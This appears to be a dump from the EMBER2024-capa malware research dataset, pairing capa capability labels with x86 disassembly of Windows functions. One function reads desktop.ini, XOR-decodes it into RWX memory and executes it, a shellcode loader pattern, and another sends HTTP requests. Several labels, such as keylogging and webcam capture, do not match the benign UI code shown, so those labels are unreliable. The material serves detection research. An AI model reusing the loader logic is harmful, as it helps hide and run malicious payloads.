joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41970e
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, 0x44630f
call fcn.004366c0
mov esi, ecx
mov eax, dword [esi + 0xa4]
mov ecx, dword [ebp + 8]
cmp ecx, dword [eax + 4]
jne 0x419753
mov eax, dword [eax]
push 0
push dword [eax + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov esi, dword [esi + 0xa4]
mov eax, dword [esi + 0x10]
push dword [eax]
mov eax, dword [esi + 4]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SetWindowTextW]
jmp 0x4197d3
mov eax, dword [0x45c92c]
mov ecx, 0x45c92c
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp + 8], eax
xor edi, edi
mov dword [ebp - 4], edi
mov eax, dword [esi + 0xa4]
mov ecx, dword [eax]
add ecx, 4
lea eax, [ebp + 8]
call fcn.0041a3f6
mov ebx, dword [ebp + 8]
cmp dword [ebx - 0xc], edi
jne 0x4197cb
mov eax, dword [esi + 0xa4]
mov eax, dword [eax + 0x10]
mov eax, dword [eax]
cmp dword [eax - 0xc], edi
je 0x4197cb
mov eax, dword [esi + 0xa4]
mov byte [eax + 0x14], 1
mov eax, dword [esi + 0xa4]
mov eax, dword [eax]
push edi
push dword [eax + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esi + 0xa4]
mov eax, dword [eax + 4]
push 0x53
push edi
push edi
push edi
push edi
push edi
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SetWindowPos]
lea eax, [ebx - 0x10]
call fcn.004018eb
call fcn.00436798
ret 4

Function at 0x41ca51
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x446296
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x4592c4]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
call fcn.004127b1
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x1c]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov dword [esp + 0xc], vtable.shui::CSHSignalArgs.0
and dword [esp + 0x38], 0
lea eax, [esp + 0xc]
push eax
push esi
add esi, 0x9c
push esi
call fcn.00405182
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x41cac0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x446296
mov eax, dword fs:[0]
push eax
sub esp, 0x28
push esi
mov eax, dword [0x4592c4]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 0x88]
mov ecx, dword [eax]
mov eax, dword [ecx]
call dword [eax + 0x1c]
push eax
call dword [sym.imp.USER32.dll_SetFocus]
mov dword [esp + 0xc], vtable.shui::CSHSignalArgs.0
and dword [esp + 0x38], 0
lea eax, [esp + 0xc]
push eax
push esi
add esi, 0xa0
push esi
call fcn.00405182
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x420f50
Capabilities:
Log keystrokes via polling

Disassembly:
and dword [ebx], 0
push esi
mov esi, eax
mov eax, dword [esi + 0xa8]
cmp eax, 0x12
je 0x420f7b
cmp eax, 0x79
jne 0x420f72
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
test al, al
jns 0x420f7b
cmp dword [esi + 0xa8], 0x20
jne 0x420fee
cmp dword [esp + 8], 0xf100
jne 0x420fee
call dword [sym.imp.USER32.dll_GetFocus]
cmp eax, dword [esi + 4]
jne 0x420fab
mov eax, esi
call fcn.00423127
push 0
push 0xffffffffffffffff
push 0x448
push dword [esi + 4]
call dword [sym.imp.USER32.dll_PostMessageW]
jmp 0x420fee
mov eax, dword [esi + 0xa8]
cmp eax, 0x20
je 0x420fee
test byte [esi + 0x84], 0x40
jne 0x420fe3
mov al, byte [esi + 0x85]
test al, 2
je 0x420fd8
test al, 4
jne 0x420fd8
test al, 8
je 0x420fd8
mov al, 1
call fcn.004231a1
push edi
mov edi, esi
call fcn.00423102
pop edi
jmp 0x420fe8
cmp eax, 0x20
je 0x420fee
mov dword [ebx], 1
and byte [esi + 0x84], 0xbf
xor eax, eax
pop esi
ret 4
Function at 0x424c21
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x4592c4]
xor eax, ebp
mov dword [ebp + 0x94], eax
push 0x110
lea eax, [ebp - 0x7c]
push 0
push eax
mov dword [ebp - 0x80], 0x114
call fcn.00435dc0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x424c6f
cmp dword [ebp - 0x7c], 6
jb 0x424c6f
xor eax, eax
inc eax
jmp 0x424c71
xor eax, eax
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.00433357
add ebp, 0x98
leave
ret

Function at 0x424dc5
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x4592c4]
xor eax, ebp
mov dword [ebp + 0x94], eax
push 0x110
lea eax, [ebp - 0x7c]
push 0
push eax
call fcn.00435dc0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x424e1e
cmp dword [ebp - 0x7c], 5
jae 0x424e1a
cmp dword [ebp - 0x7c], 4
jne 0x424e1e
cmp dword [ebp - 0x78], 0x5a
jb 0x424e1e
xor eax, eax
jmp 0x424e21
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.00433357
add ebp, 0x98
leave
ret

Function at 0x42c26d
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push 0
mov eax, 0x44630f
call fcn.004366c0
mov esi, dword [ebx]
call fcn.00406273
mov eax, dword [ebp + 8]
push dword [eax + 4]
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x42c2de
push 0xd
call dword [sym.imp.USER32.dll_IsClipboardFormatAvailable]
test eax, eax
je 0x42c2d8
push 0xd
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
lea ecx, [ebp + 8]
push ecx
mov edi, eax
call fcn.00405ee0
and dword [ebp - 4], 0
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push dword [ebp + 8]
mov esi, ebx
call fcn.0040ac53
mov eax, dword [ebp + 8]
add eax, 0xfffffff0
call fcn.004018eb
call dword [sym.imp.USER32.dll_CloseClipboard]
call fcn.00436798
ret 4
Function at 0x42fe93
Capabilities:
Capture webcam image

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
movsx ebx, ax
push esi
shr eax, 0x10
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
cwde
mov esi, ecx
lea ecx, [ebp - 0x1c]
push ecx
mov dword [ebp - 8], eax
xor eax, eax
push eax
push 0x41a
push dword [esi + 4]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
call edi
lea eax, [ebp - 0x2c]
push eax
push 0
push 0x419
push dword [esi + 4]
call edi
push dword [ebp - 8]
lea eax, [ebp - 0x2c]
push ebx
push eax
call dword [sym.imp.USER32.dll_PtInRect]
test eax, eax
jne 0x42ffa7
push eax
push eax
push 0x401
push dword [esi + 4]
call edi
push 0
push 0
push 0x402
push dword [esi + 4]
mov dword [ebp - 4], eax
call edi
sub ebx, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
sub ecx, dword [ebp - 0x1c]
mov dword [ebp - 8], ebx
fild dword [ebp - 8]
mov dword [ebp - 8], ecx
fild dword [ebp - 8]
inc eax
sub eax, dword [ebp - 4]
fdivp st(1)
mov dword [ebp - 8], eax
fld1
fsub st(1)
fld qword [0x44ed08]
fmul st(1), st(0)
fld st(2)
fmulp st(1)
fsubp st(1)
fild dword [ebp - 8]
fmulp st(2)
fild dword [ebp - 4]
faddp st(2)
faddp st(1)
call fcn.004426e0
push eax
push 1
push 0x405
push dword [esi + 4]
mov dword [ebp - 8], eax
call edi
call fcn.00430470
push dword [esi + 4]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
call ebx
movzx ecx, word [ebp - 8]
push dword [esi + 4]
shl ecx, 0x10
or ecx, 4
push ecx
push 0x114
push eax
call edi
push dword [esi + 4]
call ebx
push dword [esi + 4]
push 8
push 0x114
push eax
call edi
xor eax, eax
jmp 0x42ffae
mov edx, esi
call fcn.004305b7
pop edi
pop esi
pop ebx
leave
ret
Function at 0x431462
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [esi]
push edi
push 0
mov ecx, esi
call dword [eax + 0x1c]
mov edi, dword [sym.imp.USER32.dll_KillTimer]
push eax
call edi
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 0x1c]
push eax
call edi
mov eax, dword [esi]
push 0
mov ecx, esi
call dword [eax + 0x1c]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
ret
Function at 0x4320f7
Capabilities:
Create thread

Disassembly:
push 4
mov eax, 0x4481a4
call fcn.004366c0
mov esi, dword [ebp + 8]
xor edx, edx
lea ebx, [esi + 0xc]
push 7
mov dword [esi], edx
mov dword [esi + 4], method.shui::CSHTextBox.virtual_32
mov dword [esi + 8], edx
pop eax
xor ecx, ecx
mov dword [ebx + 0x18], eax
mov dword [ebx + 0x14], edx
mov word [ebx + 4], cx
mov dword [ebp - 4], edx
mov dword [esi + 0x40], eax
mov dword [esi + 0x3c], edx
mov word [esi + 0x2c], cx
mov dword [esi + 0x5c], eax
mov dword [esi + 0x58], edx
mov word [esi + 0x48], cx
mov byte [ebp - 4], 2
push 6
pop ecx
mov dword [esi + 0x74], eax
xor eax, eax
push 0xffffffffffffffff
mov dword [esi + 0x60], edx
mov dword [esi + 0x64], edx
mov dword [esi + 0x68], edx
mov dword [esi + 0x6c], edx
mov dword [esi + 0x70], edx
mov dword [esi + 0x78], edx
mov dword [esi + 0x80], edx
mov dword [esi + 0x84], edx
lea edi, [esi + 0x88]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
mov dword [esi + 0xa0], edx
mov dword [esi + 0xa4], edx
mov dword [esi + 0xa8], edx
mov dword [esi + 0xac], edx
mov dword [esi + 0xb0], edx
mov byte [esi + 0xb4], dl
mov dword [esi + 0x7c], edx
call fcn.00401865
cmp dword [esi + 0x24], 8
jb 0x4321ae
mov eax, dword [esi + 0x10]
jmp 0x4321b1
lea eax, [esi + 0x10]
mov edi, esi
mov dword [esi + 0x60], eax
call fcn.004329ca
lea eax, [esi + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edi, dword [sym.imp.KERNEL32.dll_CreateSemaphoreW]
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call edi
push ebx
push 1
push ebx
push ebx
mov dword [esi + 0xa0], eax
call edi
mov dword [esi + 0xa4], eax
lea eax, [ebp - 0x10]
push eax
push ebx
push esi
push 0x4324d7
push 0x10000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x44ec14
mov dword [esi + 0x84], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [esi + 0x6c], eax
cmp eax, ebx
je 0x432228
push str.MiniDumpWriteDump
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esi + 0x70], eax
cmp byte [0x45d8e4], bl
jne 0x432242
push 0x45d868
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov byte [0x45d8e4], 1
push 0x45d868
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [0x45d8dc], ebx
jne 0x432295
push 0x18
call fcn.004333fe
mov edi, eax
pop ecx
mov dword [ebp + 0xc], edi
mov byte [ebp - 4], 3
cmp edi, ebx
je 0x432289
push 4
call fcn.004333fe
pop ecx
cmp eax, ebx
je 0x43227a
mov dword [eax], edi
jmp 0x43227c
xor eax, eax
mov dword [edi], eax
mov dword [edi + 0xc], ebx
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
jmp 0x43228b
xor edi, edi
mov byte [ebp - 4], 2
mov dword [0x45d8dc], edi
lea eax, [ebp + 0xc]
push eax
mov dword [ebp + 0xc], esi
call fcn.00432add
push 0x4325f5
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0x432659
mov dword [esi + 0x78], eax
call fcn.00433ca4
mov dword [esi + 0x7c], eax
mov dword [esp], 0x432776
call fcn.00433d2b
mov dword [esi + 0x80], eax
mov dword [esp], 0x45d868
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, esi
call fcn.00436798
ret 8
Function at 0x4322e5
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi + 0x6c]
xor ebx, ebx
cmp eax, ebx
je 0x432301
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [edi + 0x74], ebx
je 0x43247e
push 0x45d868
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
test byte [edi + 0x74], 1
je 0x432324
push dword [edi + 0x78]
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
test byte [edi + 0x74], 2
je 0x432333
push dword [edi + 0x7c]
call fcn.00433ca4
pop ecx
test byte [edi + 0x74], 4
je 0x432345
push dword [edi + 0x80]
call fcn.00433d2b
pop ecx
call fcn.00432a95
cmp dword [eax], edi
jne 0x432372
mov eax, dword [0x45d8dc]
mov ecx, dword [eax + 0x10]
mov edx, ecx
sub edx, dword [eax + 0xc]
test edx, 0xfffffffc
je 0x432437
add ecx, 0xfffffffc
mov dword [eax + 0x10], ecx
jmp 0x432437
push str.warning:_removing_Breakpad_handler_out_of_order_n
call fcn.00435beb
add eax, 0x40
push eax
call fcn.00435e3a
mov edi, dword [0x45d8dc]
mov ebx, dword [edi + 0xc]
pop ecx
pop ecx
lea esi, [ebp - 0xc]
call fcn.00405692
mov edi, dword [0x45d8dc]
mov ebx, dword [edi + 0x10]
lea esi, [ebp - 0x14]
call fcn.00405692
mov edi, dword [ebp - 0xc]
test edi, edi
je 0x4323b5
cmp edi, dword [ebp - 0x14]
je 0x4323ba
call fcn.00433cf1
mov ebx, dword [ebp - 8]
cmp ebx, dword [ebp - 0x10]
je 0x43242d
lea esi, [ebp - 0xc]
call fcn.00405472
mov ecx, dword [ebp + 8]
cmp dword [eax], ecx
jne 0x432409
mov eax, dword [0x45d8dc]
lea esi, [eax + 0x10]
mov edi, eax
mov eax, dword [esi]
lea ecx, [ebx + 4]
sub eax, ecx
sar eax, 2
test eax, eax
jle 0x4323f8
shl eax, 2
push eax
push ecx
push eax
push ebx
call fcn.004335d6
add esp, 0x10
add dword [esi], 0xfffffffc
lea esi, [ebp - 0x1c]
call fcn.00405692
mov edi, dword [ebp - 0xc]
mov ebx, dword [ebp - 8]
test edi, edi
jne 0x432429
call fcn.00433cf1
xor eax, eax
cmp ebx, dword [eax + 0x10]
jb 0x43241e
call fcn.00433cf1
add ebx, 4
mov dword [ebp - 8], ebx
jmp 0x432398
mov eax, dword [edi]
jmp 0x432414
mov eax, dword [0x45d8dc]
mov edi, dword [ebp + 8]
xor ebx, ebx
mov ecx, dword [eax + 0x10]
sub ecx, dword [eax + 0xc]
test ecx, 0xfffffffc
jne 0x432473
mov esi, eax
mov eax, dword [eax + 0xc]
cmp eax, ebx
je 0x432455
push eax
call fcn.0043334c
pop ecx
push dword [esi]
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
call fcn.0043334c
pop ecx
push esi
call fcn.0043334c
pop ecx
mov dword [0x45d8dc], ebx
push 0x45d868
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 1
push dword [edi + 0x84]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [edi + 0x88]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
push dword [edi + 0xa0]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [edi + 0xa4]
call esi
push ebx
push 1
lea esi, [edi + 0x44]
call fcn.00401952
push ebx
push 1
lea esi, [edi + 0x28]
call fcn.00401952
push ebx
push 1
lea esi, [edi + 0xc]
call fcn.00401952
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x433347
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x45c9d4], 0
push esi
jne 0x4332ba
call fcn.004331e0
test eax, eax
je 0x4332fd
mov eax, dword [0x45c9d4]
cmp eax, 1
jne 0x4332db
push 0xd
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
test eax, eax
je 0x4332fd
pop esi
ret
push eax
call dword [0x45c9dc]
test eax, eax
jne 0x433345
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x433301
xor eax, eax
pop esi
ret
mov eax, dword [esi]
push edi
push dword [0x45c9d4]
call dword [0x45c9dc]
mov edi, eax
test edi, edi
je 0x433326
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x433342
mov edi, esi
add esi, 0xff0
push edi
push dword [0x45c9d4]
call dword [0x45c9d8]
add edi, 0x10
cmp edi, esi
jb 0x43332e
mov eax, edi
pop edi
pop esi
ret
jmp 0x4332a7

Function at 0x433357
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4592c4]
jne 0x433361
repz ret
jmp fcn.004369bc

Function at 0x433d7e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
xor esi, esi
cmp dword [ebp + 8], esi
jne 0x433daf
call fcn.00436e8a
mov dword [eax], esi
call fcn.00436e77
push esi
push esi
push esi
push esi
push esi
mov dword [eax], 0x16
call fcn.00433ccb
add esp, 0x14
push 0x16
pop eax
jmp 0x433e04
test dword [ebp + 0xc], 0xfffffff9
jne 0x433d8b
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x433ddc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.00436e9d
pop ecx
call fcn.00436e77
mov eax, dword [eax]
jmp 0x433e04
test al, 0x10
jne 0x433e02
test al, 1
je 0x433e02
test byte [ebp + 0xc], 2
je 0x433e02
call fcn.00436e8a
mov dword [eax], 5
call fcn.00436e77
mov dword [eax], 0xd
jmp 0x433dd3
xor eax, eax
pop esi
pop ebp
ret
Function at 0x440033
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00438a0e
and dword [ebp - 4], 0
cmp dword [0x45d4bc], 0
mov ebx, eax
jne 0x4400e4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x440195
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x440195
push eax
call fcn.0043899c
mov dword [esp], 0x44b794
push edi
mov dword [0x45d4bc], eax
call esi
push eax
call fcn.0043899c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45d4c0], eax
call esi
push eax
call fcn.0043899c
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45d4c4], eax
call esi
push eax
call fcn.0043899c
pop ecx
mov dword [0x45d4cc], eax
test eax, eax
je 0x4400e4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0043899c
pop ecx
mov dword [0x45d4c8], eax
mov eax, dword [0x45d4c8]
cmp eax, ebx
je 0x44013c
cmp dword [0x45d4cc], ebx
je 0x44013c
push eax
call fcn.00438a17
push dword [0x45d4cc]
mov esi, eax
call fcn.00438a17
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x44013c
test edi, edi
je 0x44013c
call esi
test eax, eax
je 0x440133
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x440133
test byte [ebp - 0xc], 1
jne 0x44013c
or dword [ebp + 0x10], 0x200000
jmp 0x440175
mov eax, dword [0x45d4c0]
cmp eax, ebx
je 0x440175
push eax
call fcn.00438a17
pop ecx
test eax, eax
je 0x440175
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x440175
mov eax, dword [0x45d4c4]
cmp eax, ebx
je 0x440175
push eax
call fcn.00438a17
pop ecx
test eax, eax
je 0x440175
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45d4bc]
call fcn.00438a17
pop ecx
test eax, eax
je 0x440195
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x440197
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x10001fb2
Capabilities:
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10ac
call fcn.10018b80
mov eax, dword [0x10030010]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
push 0x3ff
lea eax, [ebp - 0x487]
push ebx
push eax
mov dword [ebp - 0x10a8], 0x1002c59c
mov dword [ebp - 0x10a4], ebx
mov byte [ebp - 0x488], bl
call fcn.10018c40
add esp, 0xc
push 0x7f
lea eax, [ebp - 0x87]
push ebx
push eax
mov byte [ebp - 0x88], bl
call fcn.10018c40
add esp, 0xc
push 0xc13
lea eax, [ebp - 0x109f]
push ebx
push eax
mov byte [ebp - 0x10a0], bl
call fcn.10018c40
mov eax, dword [0x1003c09c]
add esp, 0xc
cmp eax, ebx
je 0x100021b3
lea esi, [ebp - 0x10a0]
call fcn.100086d9
push 0x1003fb40
push 0x1002c58c
mov esi, 0x400
lea eax, [ebp - 0x8a0]
push esi
push eax
call fcn.10015333
push dword [0x1003f720]
lea eax, [ebp - 0x88]
push 0x1002c5a0
push 0x80
push eax
call fcn.10015333
lea eax, [ebp - 0x88]
add esp, 0x20
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x10002088
push dword [0x1003c09c]
sub eax, edi
push dword [0x1003c098]
push eax
lea eax, [ebp - 0x88]
push eax
push 0xd
pop edx
call fcn.100095f6
push eax
lea ecx, [ebp - 0x10a0]
call fcn.10008061
lea eax, [ebp - 0xca0]
add esp, 0x14
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100020c5
sub eax, edi
jne 0x100020ee
lea eax, [ebp - 0x8a0]
push eax
push 0x1002c58c
lea eax, [ebp - 0x488]
push esi
push eax
call fcn.10015333
add esp, 0x10
jmp 0x10002111
lea eax, [ebp - 0xca0]
push eax
lea eax, [ebp - 0x8a0]
push eax
push 0x1002c5a4
lea eax, [ebp - 0x488]
push esi
push eax
call fcn.10015333
add esp, 0x14
call fcn.10009ae5
xor edx, edx
push ebx
inc edx
call fcn.100095d3
and al, 8
xor ecx, ecx
cmp al, 8
setne cl
lea eax, [ebp - 0x10a8]
dec ecx
and ecx, 0x803000
add ecx, 0x84680200
push ecx
push eax
push ebx
push ebx
lea eax, [ebp - 0x488]
push eax
push 0x1b
pop edx
call fcn.100095f6
push eax
push dword [0x1003c094]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov esi, eax
push esi
call fcn.10001f6d
lea eax, [ebp - 0x10a0]
pop ecx
lea edi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x1000216d
push dword [ebp - 0x49c]
sub eax, edi
push dword [ebp - 0x4a0]
push eax
lea eax, [ebp - 0x10a0]
push eax
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [0x1003c09c]
lea esi, [ebp - 0x10a0]
call fcn.1000877e
mov dword [0x1003c09c], ebx
call fcn.10009af5
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1001517d
leave
ret